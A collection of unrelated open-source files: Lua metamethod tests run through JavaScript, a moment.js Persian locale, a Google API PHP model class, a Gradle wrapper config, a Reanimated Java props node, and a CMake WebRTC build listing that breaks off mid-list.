assert(b+5 == b) assert(cap[0] == "add" and cap[1] == b and cap[2] == 5 and cap[3]==nil) assert(b+'5' == b) assert(cap[0] == "add" and cap[1] == b and cap[2] == '5' and cap[3]==nil) assert(5+b == 5) assert(cap[0] == "add" and cap[1] == 5 and cap[2] == b and cap[3]==nil) assert('5'+b == '5') assert(cap[0] == "add" and cap[1] == '5' and cap[2] == b and cap[3]==nil) b=b-3; assert(getmetatable(b) == t) assert(5-a == 5) assert(cap[0] == "sub" and cap[1] == 5 and cap[2] == a and cap[3]==nil) assert('5'-a == '5') assert(cap[0] == "sub" and cap[1] == '5' and cap[2] == a and cap[3]==nil) assert(a*a == a) assert(cap[0] == "mul" and cap[1] == a and cap[2] == a and cap[3]==nil) assert(a/0 == a) assert(cap[0] == "div" and cap[1] == a and cap[2] == 0 and cap[3]==nil) assert(a%2 == a) assert(cap[0] == "mod" and cap[1] == a and cap[2] == 2 and cap[3]==nil) assert(a // (1/0) == a) assert(cap[0] == "idiv" and cap[1] == a and cap[2] == 1/0 and cap[3]==nil) assert(a & "hi" == a) assert(cap[0] == "band" and cap[1] == a and cap[2] == "hi" and cap[3]==nil) assert(a | "hi" == a) assert(cap[0] == "bor" and cap[1] == a and cap[2] == "hi" and cap[3]==nil) assert("hi" ~ a == "hi") assert(cap[0] == "bxor" and cap[1] == "hi" and cap[2] == a and cap[3]==nil) assert(-a == a) assert(cap[0] == "unm" and cap[1] == a) assert(a^4 == a) assert(cap[0] == "pow" and cap[1] == a and cap[2] == 4 and cap[3]==nil) assert(a^'4' == a) assert(cap[0] == "pow" and cap[1] == a and cap[2] == '4' and cap[3]==nil) assert(4^a == 4) assert(cap[0] == "pow" and cap[1] == 4 and cap[2] == a and cap[3]==nil) assert('4'^a == '4') assert(cap[0] == "pow" and cap[1] == '4' and cap[2] == a and cap[3]==nil) assert(#a == a) assert(cap[0] == "len" and cap[1] == a) assert(~a == a) assert(cap[0] == "bnot" and cap[1] == a) assert(a << 3 == a) assert(cap[0] == "shl" and cap[1] == a and cap[2] == 3) assert(1.5 >> a == 1.5) assert(cap[0] == "shr" and cap[1] == 1.5 and cap[2] == a) `; lualib.luaL_openlibs(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: test for rawlen", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` t = setmetatable({1,2,3}, {__len = function () return 10 end}) assert(#t == 10 and rawlen(t) == 3) assert(rawlen"abc" == 3) assert(not pcall(rawlen, io.stdin)) assert(not pcall(rawlen, 34)) assert(not pcall(rawlen)) -- rawlen for long strings assert(rawlen(string.rep('a', 1000)) == 1000) `; lualib.luaL_openlibs(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: test comparison", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` t = {} t.__lt = function (a,b,c) --collectgarbage() assert(c == nil) if type(a) == 'table' then a = a.x end if type(b) == 'table' then b = b.x end return a<b, "dummy" end function Op(x) return setmetatable({x=x}, t) end local function test () assert(not(Op(1)<Op(1)) and (Op(1)<Op(2)) and not(Op(2)<Op(1))) assert(not(1 < Op(1)) and (Op(1) < 2) and not(2 < Op(1))) assert(not(Op('a')<Op('a')) and (Op('a')<Op('b')) and not(Op('b')<Op('a'))) assert(not('a' < Op('a')) and (Op('a') < 'b') and not(Op('b') < Op('a'))) assert((Op(1)<=Op(1)) and (Op(1)<=Op(2)) and not(Op(2)<=Op(1))) assert((Op('a')<=Op('a')) and (Op('a')<=Op('b')) and not(Op('b')<=Op('a'))) assert(not(Op(1)>Op(1)) and not(Op(1)>Op(2)) and (Op(2)>Op(1))) assert(not(Op('a')>Op('a')) and not(Op('a')>Op('b')) and (Op('b')>Op('a'))) assert((Op(1)>=Op(1)) and not(Op(1)>=Op(2)) and (Op(2)>=Op(1))) assert((1 >= Op(1)) and not(1 >= Op(2)) and (Op(2) >= 1)) assert((Op('a')>=Op('a')) and not(Op('a')>=Op('b')) and (Op('b')>=Op('a'))) assert(('a' >= Op('a')) and not(Op('a') >= 'b') and (Op('b') >= Op('a'))) end test() t.__le = function (a,b,c) assert(c == nil) if type(a) == 'table' then a = a.x end if type(b) == 'table' then b = b.x end return a<=b, "dummy" end test() -- retest comparisons, now using both 'lt' and 'le' `; lualib.luaL_openlibs(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: test 'partial order'", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` t = {} local function rawSet(x) local y = {} for _,k in pairs(x) do y[k] = 1 end return y end local function Set(x) return setmetatable(rawSet(x), t) end t.__lt = function (a,b) for k in pairs(a) do if not b[k] then return false end b[k] = nil end return next(b) ~= nil end t.__le = nil assert(Set{1,2,3} < Set{1,2,3,4}) assert(not(Set{1,2,3,4} < Set{1,2,3,4})) assert((Set{1,2,3,4} <= Set{1,2,3,4})) assert((Set{1,2,3,4} >= Set{1,2,3,4})) assert((Set{1,3} <= Set{3,5})) -- wrong!! model needs a 'le' method ;-) t.__le = function (a,b) for k in pairs(a) do if not b[k] then return false end end return true end assert(not (Set{1,3} <= Set{3,5})) -- now its OK! assert(not(Set{1,3} <= Set{3,5})) assert(not(Set{1,3} >= Set{3,5})) t.__eq = function (a,b) for k in pairs(a) do if not b[k] then return false end b[k] = nil end return next(b) == nil end local s = Set{1,3,5} assert(s == Set{3,5,1}) assert(not rawequal(s, Set{3,5,1})) assert(rawequal(s, s)) assert(Set{1,3,5,1} == rawSet{3,5,1}) assert(rawSet{1,3,5,1} == Set{3,5,1}) assert(Set{1,3,5} ~= Set{3,5,1,6}) -- '__eq' is not used for table accesses t[Set{1,3,5}] = 1 assert(t[Set{1,3,5}] == nil) `; lualib.luaL_openlibs(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: __eq between userdata", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` T = require('T') local u1 = T.newuserdata(0) local u2 = T.newuserdata(0) local u3 = T.newuserdata(0) assert(u1 ~= u2 and u1 ~= u3) debug.setuservalue(u1, 1); debug.setuservalue(u2, 2); debug.setuservalue(u3, 1); debug.setmetatable(u1, {__eq = function (a, b) return debug.getuservalue(a) == debug.getuservalue(b) end}) debug.setmetatable(u2, {__eq = function (a, b) return true end}) assert(u1 == u3 and u3 == u1 and u1 ~= u2) assert(u2 == u1 and u2 == u3 and u3 == u2) assert(u2 ~= {}) -- different types cannot be equal `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: concat", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` t = {} t.__concat = function (a,b,c) assert(c == nil) if type(a) == 'table' then a = a.val end if type(b) == 'table' then b = b.val end if A then return a..b else return setmetatable({val=a..b}, t) end end c = {val="c"}; setmetatable(c, t) d = {val="d"}; setmetatable(d, t) A = true assert(c..d == 'cd') assert(0 .."a".."b"..c..d.."e".."f"..(5+3).."g" == "0abcdef8g") A = false assert((c..d..c..d).val == 'cdcd') x = c..d assert(getmetatable(x) == t and x.val == 'cd') x = 0 .."a".."b"..c..d.."e".."f".."g" assert(x.val == "0abcdefg") `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: concat metamethod x numbers (bug in 5.1.1)", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` c = {} local x setmetatable(c, {__concat = function (a,b) assert(type(a) == "number" and b == c or type(b) == "number" and a == c) return c end}) assert(c..5 == c and 5 .. c == c) assert(4 .. c .. 5 == c and 4 .. 5 .. 6 .. 7 .. c == c) `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: test comparison compatibilities", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` local t1, t2, c, d t1 = {}; c = {}; setmetatable(c, t1) d = {} t1.__eq = function () return true end t1.__lt = function () return true end setmetatable(d, t1) assert(c == d and c < d and not(d <= c)) t2 = {} t2.__eq = t1.__eq t2.__lt = t1.__lt setmetatable(d, t2) assert(c == d and c < d and not(d <= c)) `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: test for several levels of callstest for several levels of calls", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` local i local tt = { __call = function (t, ...) i = i+1 if t.f then return t.f(...) else return {...} end end } local a = setmetatable({}, tt) local b = setmetatable({f=a}, tt) local c = setmetatable({f=b}, tt) i = 0 x = c(3,4,5) assert(i == 3 and x[1] == 3 and x[3] == 5) `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: __index on _ENV", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` local _g = _G _ENV = setmetatable({}, {__index=function (_,k) return _g[k] end}) a = {} rawset(a, "x", 1, 2, 3) assert(a.x == 1 and rawget(a, "x", 3) == 1) `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: testing metatables for basic types", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` mt = {__index = function (a,b) return a+b end, __len = function (x) return math.floor(x) end} debug.setmetatable(10, mt) assert(getmetatable(-2) == mt) assert((10)[3] == 13) assert((10)["3"] == 13) assert(#3.45 == 3) debug.setmetatable(23, nil) assert(getmetatable(-2) == nil) debug.setmetatable(true, mt) assert(getmetatable(false) == mt) mt.__index = function (a,b) return a or b end assert((true)[false] == true) assert((false)[false] == false) debug.setmetatable(false, nil) assert(getmetatable(true) == nil) debug.setmetatable(nil, mt) assert(getmetatable(nil) == mt) mt.__add = function (a,b) return (a or 0) + (b or 0) end assert(10 + nil == 10) assert(nil + 23 == 23) assert(nil + nil == 0) debug.setmetatable(nil, nil) assert(getmetatable(nil) == nil) debug.setmetatable(nil, {}) `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: loops in delegation", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` a = {}; setmetatable(a, a); a.__index = a; a.__newindex = a assert(not pcall(function (a,b) return a[b] end, a, 10)) assert(not pcall(function (a,b,c) a[b] = c end, a, 10, true)) `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); }); test("[test-suite] events: bug in 5.1", () => { let L = lauxlib.luaL_newstate(); if (!L) throw Error("failed to create lua state"); let luaCode = ` T, K, V = nil grandparent = {} grandparent.__newindex = function(t,k,v) T=t; K=k; V=v end parent = {} parent.__newindex = parent setmetatable(parent, grandparent) child = setmetatable({}, parent) child.foo = 10 --> CRASH (on some machines) assert(T == parent and K == "foo" and V == 10) `; lualib.luaL_openlibs(L); ltests.luaopen_tests(L); if (lauxlib.luaL_loadstring(L, to_luastring(luaCode)) === lua.LUA_ERRSYNTAX) throw new SyntaxError(lua.lua_tojsstring(L, -1)); lua.lua_call(L, 0, 0); });
{ "pile_set_name": "Github" }
//! moment.js locale configuration //! locale : Persian [fa] //! author : Ebrahim Byagowi : https://github.com/ebraminio ;(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' && typeof require === 'function' ? factory(require('../moment')) : typeof define === 'function' && define.amd ? define(['../moment'], factory) : factory(global.moment) }(this, function (moment) { 'use strict'; var symbolMap = { '1': '۱', '2': '۲', '3': '۳', '4': '۴', '5': '۵', '6': '۶', '7': '۷', '8': '۸', '9': '۹', '0': '۰' }, numberMap = { '۱': '1', '۲': '2', '۳': '3', '۴': '4', '۵': '5', '۶': '6', '۷': '7', '۸': '8', '۹': '9', '۰': '0' }; var fa = moment.defineLocale('fa', { months : 'ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر'.split('_'), monthsShort : 'ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر'.split('_'), weekdays : 'یک\u200cشنبه_دوشنبه_سه\u200cشنبه_چهارشنبه_پنج\u200cشنبه_جمعه_شنبه'.split('_'), weekdaysShort : 'یک\u200cشنبه_دوشنبه_سه\u200cشنبه_چهارشنبه_پنج\u200cشنبه_جمعه_شنبه'.split('_'), weekdaysMin : 'ی_د_س_چ_پ_ج_ش'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, meridiemParse: /قبل از ظهر|بعد از ظهر/, isPM: function (input) { return /بعد از ظهر/.test(input); }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'قبل از ظهر'; } else { return 'بعد از ظهر'; } }, calendar : { sameDay : '[امروز ساعت] LT', nextDay : '[فردا ساعت] LT', nextWeek : 'dddd [ساعت] LT', lastDay : '[دیروز ساعت] LT', lastWeek : 'dddd [پیش] [ساعت] LT', sameElse : 'L' }, relativeTime : { future : 'در %s', past : '%s پیش', s : 'چندین ثانیه', m : 'یک دقیقه', mm : '%d دقیقه', h : 'یک ساعت', hh : '%d ساعت', d : 'یک روز', dd : '%d روز', M : 'یک ماه', MM : '%d ماه', y : 'یک سال', yy : '%d سال' }, preparse: function (string) { return string.replace(/[۰-۹]/g, function (match) { return numberMap[match]; }).replace(/،/g, ','); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }).replace(/,/g, '،'); }, ordinalParse: /\d{1,2}م/, ordinal : '%dم', week : { dow : 6, // Saturday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); return fa; }));
{ "pile_set_name": "Github" }
<?php /* * Copyright 2016 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ class Google_Service_AppState_GetResponse extends Google_Model { public $currentStateVersion; public $data; public $kind; public $stateKey; public function setCurrentStateVersion($currentStateVersion) { $this->currentStateVersion = $currentStateVersion; } public function getCurrentStateVersion() { return $this->currentStateVersion; } public function setData($data) { $this->data = $data; } public function getData() { return $this->data; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setStateKey($stateKey) { $this->stateKey = $stateKey; } public function getStateKey() { return $this->stateKey; } }
{ "pile_set_name": "Github" }
#Wed Sep 07 11:48:19 PDT 2016 distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists distributionUrl=https\://services.gradle.org/distributions/gradle-6.6.1-bin.zip
{ "pile_set_name": "Github" }
package com.swmansion.reanimated.nodes; import android.view.View; import com.facebook.react.bridge.Arguments; import com.facebook.react.bridge.JavaOnlyMap; import com.facebook.react.bridge.ReadableMap; import com.facebook.react.bridge.ReadableMapKeySetIterator; import com.facebook.react.bridge.ReadableType; import com.facebook.react.bridge.WritableArray; import com.facebook.react.bridge.WritableMap; import com.facebook.react.uimanager.ReactStylesDiffMap; import com.facebook.react.uimanager.UIImplementation; import com.swmansion.reanimated.NodesManager; import com.swmansion.reanimated.Utils; import java.util.Map; public class PropsNode extends Node implements FinalNode { private final Map<String, Integer> mMapping; private final UIImplementation mUIImplementation; private int mConnectedViewTag = View.NO_ID; private final JavaOnlyMap mPropMap; private final ReactStylesDiffMap mDiffMap; private static void addProp(WritableMap propMap, String key, Object value) { if (value == null) { propMap.putNull(key); } else if (value instanceof Double) { propMap.putDouble(key, (Double) value); } else if (value instanceof Integer) { propMap.putInt(key, (Integer) value); } else if (value instanceof Number) { propMap.putDouble(key, ((Number) value).doubleValue()); } else if (value instanceof Boolean) { propMap.putBoolean(key, (Boolean) value); } else if (value instanceof String) { propMap.putString(key, (String) value); } else if (value instanceof WritableArray) { propMap.putArray(key, (WritableArray)value); } else if (value instanceof WritableMap) { propMap.putMap(key, (WritableMap)value); } else { throw new IllegalStateException("Unknown type of animated value"); } } public PropsNode( int nodeID, ReadableMap config, NodesManager nodesManager, UIImplementation uiImplementation) { super(nodeID, config, nodesManager); mMapping = Utils.processMapping(config.getMap("props")); mUIImplementation = uiImplementation; mPropMap = new JavaOnlyMap(); mDiffMap = new ReactStylesDiffMap(mPropMap); } public void connectToView(int viewTag) { mConnectedViewTag = viewTag; dangerouslyRescheduleEvaluate(); } public void disconnectFromView(int viewTag) { mConnectedViewTag = View.NO_ID; } @Override protected Double evaluate() { boolean hasUIProps = false; boolean hasNativeProps = false; boolean hasJSProps = false; WritableMap jsProps = Arguments.createMap(); final WritableMap nativeProps = Arguments.createMap(); for (Map.Entry<String, Integer> entry : mMapping.entrySet()) { Node node = mNodesManager.findNodeById(entry.getValue(), Node.class); if (node instanceof StyleNode) { WritableMap style = (WritableMap) node.value(); ReadableMapKeySetIterator iter = style.keySetIterator(); while (iter.hasNextKey()) { String key = iter.nextKey(); WritableMap dest; if (mNodesManager.uiProps.contains(key)) { hasUIProps = true; dest = mPropMap; } else if (mNodesManager.nativeProps.contains(key)){ hasNativeProps = true; dest = nativeProps; } else { hasJSProps = true; dest = jsProps; } ReadableType type = style.getType(key); switch (type) { case Number: dest.putDouble(key, style.getDouble(key)); break; case String: dest.putString(key, style.getString(key)); break; case Array: dest.putArray(key, (WritableArray) style.getArray(key)); break; default: throw new IllegalArgumentException("Unexpected type " + type); } } } else { String key = entry.getKey(); Object value = node.value(); if (mNodesManager.uiProps.contains(key)) { hasUIProps = true; addProp(mPropMap, key, value); } else { hasNativeProps = true; addProp(nativeProps, key, value); } } } if (mConnectedViewTag != View.NO_ID) { if (hasUIProps) { mUIImplementation.synchronouslyUpdateViewOnUIThread( mConnectedViewTag, mDiffMap); } if (hasNativeProps) { mNodesManager.enqueueUpdateViewOnNativeThread(mConnectedViewTag, nativeProps); } if (hasJSProps) { WritableMap evt = Arguments.createMap(); evt.putInt("viewTag", mConnectedViewTag); evt.putMap("props", jsProps); mNodesManager.sendEvent("onReanimatedPropsChange", evt); } } return ZERO; } @Override public void update() { // Since we are updating nodes after detaching them from views there is a time where it's // possible that the view was disconnected and still receive an update, this is normal and // we can simply skip that update. if (mConnectedViewTag == View.NO_ID) { return; } // call value for side effect (diff map update via changes made to prop map) value(); } }
{ "pile_set_name": "Github" }
set (CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake") find_package(LibVpx 1.7.0) if (NOT LIBVPX_FOUND) message(FATAL_ERROR "libvpx is needed for USE_LIBWEBRTC.") endif () find_package(LibEvent) if (NOT LIBEVENT_FOUND) message(FATAL_ERROR "libevent is needed for USE_LIBWEBRTC.") endif () find_package(AlsaLib) if (NOT ALSALIB_FOUND) message(FATAL_ERROR "alsa-lib is needed for USE_LIBWEBRTC.") endif () find_package(LibOpus 1.1) if (NOT LIBOPUS_FOUND) message(FATAL_ERROR "libopus is needed for USE_LIBWEBRTC.") endif () set(webrtc_SOURCES Source/third_party/abseil-cpp/absl/base/dynamic_annotations.cc Source/third_party/abseil-cpp/absl/base/internal/raw_logging.cc Source/third_party/abseil-cpp/absl/base/internal/throw_delegate.cc Source/third_party/abseil-cpp/absl/strings/ascii.cc Source/third_party/abseil-cpp/absl/strings/internal/memutil.cc Source/third_party/abseil-cpp/absl/strings/match.cc Source/third_party/abseil-cpp/absl/strings/string_view.cc Source/third_party/abseil-cpp/absl/types/bad_optional_access.cc Source/third_party/abseil-cpp/absl/types/bad_variant_access.cc Source/third_party/boringssl/err_data.c Source/third_party/boringssl/src/crypto/asn1/a_bitstr.c Source/third_party/boringssl/src/crypto/asn1/a_bool.c Source/third_party/boringssl/src/crypto/asn1/a_d2i_fp.c Source/third_party/boringssl/src/crypto/asn1/a_dup.c Source/third_party/boringssl/src/crypto/asn1/a_enum.c Source/third_party/boringssl/src/crypto/asn1/a_gentm.c Source/third_party/boringssl/src/crypto/asn1/a_i2d_fp.c Source/third_party/boringssl/src/crypto/asn1/a_int.c Source/third_party/boringssl/src/crypto/asn1/a_mbstr.c Source/third_party/boringssl/src/crypto/asn1/a_object.c Source/third_party/boringssl/src/crypto/asn1/a_octet.c Source/third_party/boringssl/src/crypto/asn1/a_print.c Source/third_party/boringssl/src/crypto/asn1/a_strnid.c Source/third_party/boringssl/src/crypto/asn1/a_time.c Source/third_party/boringssl/src/crypto/asn1/a_type.c Source/third_party/boringssl/src/crypto/asn1/a_utctm.c Source/third_party/boringssl/src/crypto/asn1/a_utf8.c Source/third_party/boringssl/src/crypto/asn1/asn1_lib.c Source/third_party/boringssl/src/crypto/asn1/asn1_par.c Source/third_party/boringssl/src/crypto/asn1/asn_pack.c Source/third_party/boringssl/src/crypto/asn1/f_enum.c Source/third_party/boringssl/src/crypto/asn1/f_int.c Source/third_party/boringssl/src/crypto/asn1/f_string.c Source/third_party/boringssl/src/crypto/asn1/tasn_dec.c Source/third_party/boringssl/src/crypto/asn1/tasn_enc.c Source/third_party/boringssl/src/crypto/asn1/tasn_fre.c Source/third_party/boringssl/src/crypto/asn1/tasn_new.c Source/third_party/boringssl/src/crypto/asn1/tasn_typ.c Source/third_party/boringssl/src/crypto/asn1/tasn_utl.c Source/third_party/boringssl/src/crypto/asn1/time_support.c Source/third_party/boringssl/src/crypto/base64/base64.c Source/third_party/boringssl/src/crypto/bio/bio.c Source/third_party/boringssl/src/crypto/bio/bio_mem.c Source/third_party/boringssl/src/crypto/bio/connect.c Source/third_party/boringssl/src/crypto/bio/fd.c Source/third_party/boringssl/src/crypto/bio/file.c Source/third_party/boringssl/src/crypto/bio/hexdump.c Source/third_party/boringssl/src/crypto/bio/pair.c Source/third_party/boringssl/src/crypto/bio/printf.c Source/third_party/boringssl/src/crypto/bio/socket.c Source/third_party/boringssl/src/crypto/bio/socket_helper.c Source/third_party/boringssl/src/crypto/bn_extra/bn_asn1.c Source/third_party/boringssl/src/crypto/bn_extra/convert.c Source/third_party/boringssl/src/crypto/buf/buf.c Source/third_party/boringssl/src/crypto/bytestring/asn1_compat.c Source/third_party/boringssl/src/crypto/bytestring/ber.c Source/third_party/boringssl/src/crypto/bytestring/cbb.c Source/third_party/boringssl/src/crypto/bytestring/cbs.c Source/third_party/boringssl/src/crypto/bytestring/unicode.c Source/third_party/boringssl/src/crypto/chacha/chacha.c Source/third_party/boringssl/src/crypto/cipher_extra/cipher_extra.c Source/third_party/boringssl/src/crypto/cipher_extra/derive_key.c Source/third_party/boringssl/src/crypto/cipher_extra/e_aesctrhmac.c Source/third_party/boringssl/src/crypto/cipher_extra/e_aesgcmsiv.c Source/third_party/boringssl/src/crypto/cipher_extra/e_chacha20poly1305.c Source/third_party/boringssl/src/crypto/cipher_extra/e_null.c Source/third_party/boringssl/src/crypto/cipher_extra/e_rc2.c Source/third_party/boringssl/src/crypto/cipher_extra/e_rc4.c Source/third_party/boringssl/src/crypto/cipher_extra/e_tls.c Source/third_party/boringssl/src/crypto/cipher_extra/tls_cbc.c Source/third_party/boringssl/src/crypto/cmac/cmac.c Source/third_party/boringssl/src/crypto/conf/conf.c Source/third_party/boringssl/src/crypto/cpu-aarch64-linux.c Source/third_party/boringssl/src/crypto/cpu-arm-linux.c Source/third_party/boringssl/src/crypto/cpu-arm.c Source/third_party/boringssl/src/crypto/cpu-intel.c Source/third_party/boringssl/src/crypto/cpu-ppc64le.c Source/third_party/boringssl/src/crypto/crypto.c Source/third_party/boringssl/src/crypto/curve25519/spake25519.c Source/third_party/boringssl/src/crypto/dh/check.c Source/third_party/boringssl/src/crypto/dh/dh.c Source/third_party/boringssl/src/crypto/dh/dh_asn1.c Source/third_party/boringssl/src/crypto/dh/params.c Source/third_party/boringssl/src/crypto/digest_extra/digest_extra.c Source/third_party/boringssl/src/crypto/dsa/dsa.c Source/third_party/boringssl/src/crypto/dsa/dsa_asn1.c Source/third_party/boringssl/src/crypto/ec_extra/ec_asn1.c Source/third_party/boringssl/src/crypto/ecdh_extra/ecdh_extra.c Source/third_party/boringssl/src/crypto/ecdsa_extra/ecdsa_asn1.c Source/third_party/boringssl/src/crypto/engine/engine.c Source/third_party/boringssl/src/crypto/err/err.c Source/third_party/boringssl/src/crypto/evp/digestsign.c Source/third_party/boringssl/src/crypto/evp/evp.c Source/third_party/boringssl/src/crypto/evp/evp_asn1.c Source/third_party/boringssl/src/crypto/evp/evp_ctx.c Source/third_party/boringssl/src/crypto/evp/p_dsa_asn1.c Source/third_party/boringssl/src/crypto/evp/p_ec.c Source/third_party/boringssl/src/crypto/evp/p_ec_asn1.c Source/third_party/boringssl/src/crypto/evp/p_ed25519.c Source/third_party/boringssl/src/crypto/evp/p_ed25519_asn1.c Source/third_party/boringssl/src/crypto/evp/p_rsa.c Source/third_party/boringssl/src/crypto/evp/p_rsa_asn1.c Source/third_party/boringssl/src/crypto/evp/p_x25519.c Source/third_party/boringssl/src/crypto/evp/p_x25519_asn1.c Source/third_party/boringssl/src/crypto/evp/pbkdf.c Source/third_party/boringssl/src/crypto/evp/print.c Source/third_party/boringssl/src/crypto/evp/scrypt.c Source/third_party/boringssl/src/crypto/evp/sign.c Source/third_party/boringssl/src/crypto/ex_data.c Source/third_party/boringssl/src/crypto/fipsmodule/bcm.c Source/third_party/boringssl/src/crypto/fipsmodule/is_fips.c Source/third_party/boringssl/src/crypto/fipsmodule/ecdh/ecdh.c Source/third_party/boringssl/src/crypto/hkdf/hkdf.c Source/third_party/boringssl/src/crypto/hrss/hrss.c Source/third_party/boringssl/src/crypto/lhash/lhash.c Source/third_party/boringssl/src/crypto/mem.c Source/third_party/boringssl/src/crypto/obj/obj.c Source/third_party/boringssl/src/crypto/obj/obj_xref.c Source/third_party/boringssl/src/crypto/pem/pem_all.c Source/third_party/boringssl/src/crypto/pem/pem_info.c Source/third_party/boringssl/src/crypto/pem/pem_lib.c Source/third_party/boringssl/src/crypto/pem/pem_oth.c Source/third_party/boringssl/src/crypto/pem/pem_pk8.c Source/third_party/boringssl/src/crypto/pem/pem_pkey.c Source/third_party/boringssl/src/crypto/pem/pem_x509.c Source/third_party/boringssl/src/crypto/pem/pem_xaux.c Source/third_party/boringssl/src/crypto/pkcs7/pkcs7.c Source/third_party/boringssl/src/crypto/pkcs7/pkcs7_x509.c Source/third_party/boringssl/src/crypto/pkcs8/p5_pbev2.c Source/third_party/boringssl/src/crypto/pkcs8/pkcs8.c Source/third_party/boringssl/src/crypto/pkcs8/pkcs8_x509.c Source/third_party/boringssl/src/crypto/poly1305/poly1305.c Source/third_party/boringssl/src/crypto/poly1305/poly1305_arm.c Source/third_party/boringssl/src/crypto/poly1305/poly1305_vec.c Source/third_party/boringssl/src/crypto/pool/pool.c Source/third_party/boringssl/src/crypto/rand_extra/deterministic.c Source/third_party/boringssl/src/crypto/rand_extra/forkunsafe.c Source/third_party/boringssl/src/crypto/rand_extra/fuchsia.c Source/third_party/boringssl/src/crypto/rand_extra/rand_extra.c Source/third_party/boringssl/src/crypto/rand_extra/windows.c Source/third_party/boringssl/src/crypto/rc4/rc4.c Source/third_party/boringssl/src/crypto/refcount_c11.c Source/third_party/boringssl/src/crypto/refcount_lock.c Source/third_party/boringssl/src/crypto/rsa_extra/rsa_asn1.c Source/third_party/boringssl/src/crypto/stack/stack.c Source/third_party/boringssl/src/crypto/thread.c Source/third_party/boringssl/src/crypto/thread_none.c Source/third_party/boringssl/src/crypto/thread_pthread.c 